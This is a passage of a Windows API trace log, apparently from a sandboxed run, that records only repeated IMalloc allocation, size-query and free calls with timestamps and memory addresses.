0x2764b9e6d80 [0110.964] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0110.964] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b884e90 [0110.964] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x40 [0110.978] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0110.978] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b884e90 [0110.978] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x40 [0110.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0110.982] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090a0 [0110.982] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) returned 0x8 [0110.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) [0110.983] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0110.983] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0110.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0110.983] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0110.983] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0110.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0110.984] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b8843a0 [0110.984] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8843a0) returned 0x40 [0110.985] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8843a0) [0110.985] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6b20 [0110.986] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) returned 0x18 [0110.986] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0110.986] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ce0 [0110.986] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) returned 0x10 [0110.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) [0110.987] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6ce0 [0110.987] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) returned 0x18 [0110.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) [0110.988] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05990 [0110.988] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05990) returned 0x28 [0110.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05990) [0110.988] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb058a0 [0110.988] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb058a0) returned 0x28 [0110.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb058a0) [0110.989] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06170 [0110.989] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb06170) returned 0x28 [0110.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06170) [0110.990] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0110.990] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0110.990] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090a0 [0110.990] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) returned 0x8 [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) [0110.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ec0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6bc0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6940) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50bcb0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a2b0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829e30) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06230) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb058d0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05960) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06200) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05810) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b10) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05fc0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059c0) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05a20) [0110.991] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05870) [0110.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a4b0 [0110.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05de0 [0110.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05840 [0110.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829bb0 [0110.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05f30 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829bf0 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb06290 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05870 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05720 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06140 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05c30 [0110.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb058a0 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06050 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06200 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05db0 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05bd0 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05c00 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a5f0 [0110.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829c70 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05d50 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05d80 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06230 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05b70 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b8298b0 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb058d0 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05e10 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05900 [0110.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05d20 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05b10 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05e40 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb061a0 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05960 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05810 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb057b0 [0110.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a730 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829930 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829ab0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a6b0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05ff0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb060b0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb062c0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb057e0 [0110.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05ea0 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05930 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059f0 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05780 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb056f0 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a330 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a370 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05c60 [0110.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05750 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05e70 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05990 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05c90 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829af0 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829770 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8297b0 [0110.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829cb0 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05ae0 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06260 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05cc0 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb059c0 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb06020 [0111.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05ed0 [0111.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05cf0 [0111.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8297f0 [0111.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06080 [0111.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05f90 [0111.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a20 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a50 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50ccf0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6be0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ea0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ba0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6800 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d20 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e20 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a00 [0111.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6840 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69e0 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67e0 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0111.004] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ce0 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ac0 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a80 [0111.005] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0111.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0111.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0111.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0111.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67c0 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6940 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6880 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0111.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6980 [0111.007] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x18 [0111.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09270 [0111.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0111.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0111.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0111.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0111.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0111.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) returned 0x10 [0111.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05f00 [0111.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05f00) returned 0x20 [0111.009] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05f00) [0111.009] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829cf0 [0111.009] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b829cf0) returned 0x30 [0111.009] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829cf0) [0111.009] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8843a0 [0111.009] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8843a0) returned 0x48 [0111.010] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8843a0) [0111.010] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b80 [0111.010] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b80) returned 0x10 [0111.011] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b80) [0111.011] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.011] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0111.011] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0111.011] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.011] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.015] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.015] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fb0 [0111.015] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) returned 0x8 [0111.034] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) [0111.034] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.034] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.035] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0111.035] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0111.036] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0111.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.036] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.037] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09110 [0111.037] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09110) returned 0x8 [0111.038] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09110) [0111.038] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.038] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.040] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.040] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0111.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0111.043] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0111.043] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.043] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.043] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.043] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0111.043] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0111.043] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0111.044] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.044] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) returned 0x10 [0111.044] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.044] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0111.044] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0111.044] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0111.044] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.044] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.044] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.044] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0111.044] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0111.045] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0111.045] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.045] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.045] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.045] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.045] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.046] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.046] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.046] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0111.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0111.047] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.047] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.047] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0111.047] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0111.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0111.047] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.047] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) returned 0x10 [0111.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.047] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09270 [0111.047] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0111.047] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0111.048] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.048] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) returned 0x10 [0111.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090d0 [0111.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) returned 0x8 [0111.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) [0111.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.050] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) returned 0x10 [0111.050] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.050] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0111.051] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0111.051] IMalloc:Free (This=0x7ff9e7edf3f0, 